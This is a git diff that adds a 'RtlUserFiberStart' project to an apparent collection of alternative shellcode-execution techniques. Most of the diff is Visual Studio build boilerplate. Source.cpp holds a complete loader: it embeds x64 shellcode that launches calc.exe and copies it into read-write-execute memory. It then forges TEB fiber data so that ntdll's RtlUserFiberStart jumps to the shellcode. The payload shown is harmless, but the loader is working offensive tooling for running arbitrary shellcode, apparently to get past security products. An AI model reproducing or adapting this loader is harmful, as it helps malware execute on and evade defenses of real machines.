diff --git a/AlternativeShellcodeExec.sln b/AlternativeShellcodeExec.sln
index 6b123db..c53c3bc 100644
--- a/AlternativeShellcodeExec.sln
+++ b/AlternativeShellcodeExec.sln
@@ -51,6 +51,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InitOnceExecuteOnce", "Init
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FiberContextEdit", "FiberContextEdit\FiberContextEdit.vcxproj", "{1E97F40F-E056-4468-94EA-15636B98B5D0}"
EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RtlUserFiberStart", "RtlUserFiberStart\RtlUserFiberStart.vcxproj", "{667D6630-708C-43D1-BFEB-733FF67B55D8}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -251,6 +253,14 @@ Global
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.Build.0 = Release|x64
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.ActiveCfg = Release|Win32
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.Build.0 = Release|Win32
+ {667D6630-708C-43D1-BFEB-733FF67B55D8}.Debug|x64.ActiveCfg = Debug|x64
+ {667D6630-708C-43D1-BFEB-733FF67B55D8}.Debug|x64.Build.0 = Debug|x64
+ {667D6630-708C-43D1-BFEB-733FF67B55D8}.Debug|x86.ActiveCfg = Debug|Win32
+ {667D6630-708C-43D1-BFEB-733FF67B55D8}.Debug|x86.Build.0 = Debug|Win32
+ {667D6630-708C-43D1-BFEB-733FF67B55D8}.Release|x64.ActiveCfg = Release|x64
+ {667D6630-708C-43D1-BFEB-733FF67B55D8}.Release|x64.Build.0 = Release|x64
+ {667D6630-708C-43D1-BFEB-733FF67B55D8}.Release|x86.ActiveCfg = Release|Win32
+ {667D6630-708C-43D1-BFEB-733FF67B55D8}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/RtlUserFiberStart/RtlUserFiberStart.vcxproj b/RtlUserFiberStart/RtlUserFiberStart.vcxproj
new file mode 100644
index 0000000..96da45f
--- /dev/null
+++ b/RtlUserFiberStart/RtlUserFiberStart.vcxproj
@@ -0,0 +1,147 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {667d6630-708c-43d1-bfeb-733ff67b55d8}
+ RtlUserFiberStart
+ 10.0
+
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/RtlUserFiberStart/RtlUserFiberStart.vcxproj.filters b/RtlUserFiberStart/RtlUserFiberStart.vcxproj.filters
new file mode 100644
index 0000000..3e7e62e
--- /dev/null
+++ b/RtlUserFiberStart/RtlUserFiberStart.vcxproj.filters
@@ -0,0 +1,22 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+
\ No newline at end of file
diff --git a/RtlUserFiberStart/Source.cpp b/RtlUserFiberStart/Source.cpp
new file mode 100644
index 0000000..2ef1d6d
--- /dev/null
+++ b/RtlUserFiberStart/Source.cpp
@@ -0,0 +1,56 @@
+// alfarom256
+
+#include
+#include
+
+#define TEB_FIBERDATA_PTR_OFFSET 0x17ee
+#define LPFIBER_RIP_OFFSET 0x0a8
+
+// calc shellcode
+unsigned char op[] =
+"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
+"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
+"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
+"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
+"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
+"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
+"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
+"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
+"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
+"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
+"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
+"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
+"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
+"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
+"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
+"\x63\x2e\x65\x78\x65\x00";
+
+typedef int(WINAPI* tRtlUserFiberStart)();
+
+int main() {
+ HMODULE hMod = GetModuleHandleA("ntdll");
+ if (!hMod) { return -1; }
+ tRtlUserFiberStart lpRtlUserFiberStart = (tRtlUserFiberStart)GetProcAddress(hMod, "RtlUserFiberStart");
+ if (!lpRtlUserFiberStart) { return -1; }
+
+ _TEB* teb = NtCurrentTeb();
+ NT_TIB* tib = (NT_TIB*)teb;
+ void* pTebFlags = (void*)((uintptr_t)teb + TEB_FIBERDATA_PTR_OFFSET);
+ *(char*)pTebFlags = *(char*)pTebFlags | 0b100; // set the HasFiberData bit
+
+ LPVOID addr = VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ if (!addr) {
+ return GetLastError();
+ }
+ RtlMoveMemory(addr, op, sizeof(op));
+
+ uintptr_t lpDummyFiberData = (uintptr_t)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100);
+ *(LPVOID*)(lpDummyFiberData + 0x0a8) = addr; // store the shelcode address at the offset of the FiberContext RIP in the Fiber Data
+ //call qword ptr [ntdll!_guard_dispatch_icall_fptr (00007ffa`218b4000)] ds:00007ffa`218b4000={ntdll!guard_dispatch_icall_nop (00007ffa`217cfa80)}
+
+ __writegsqword(0x20, lpDummyFiberData); // set the FiberData pointer
+ lpRtlUserFiberStart();
+}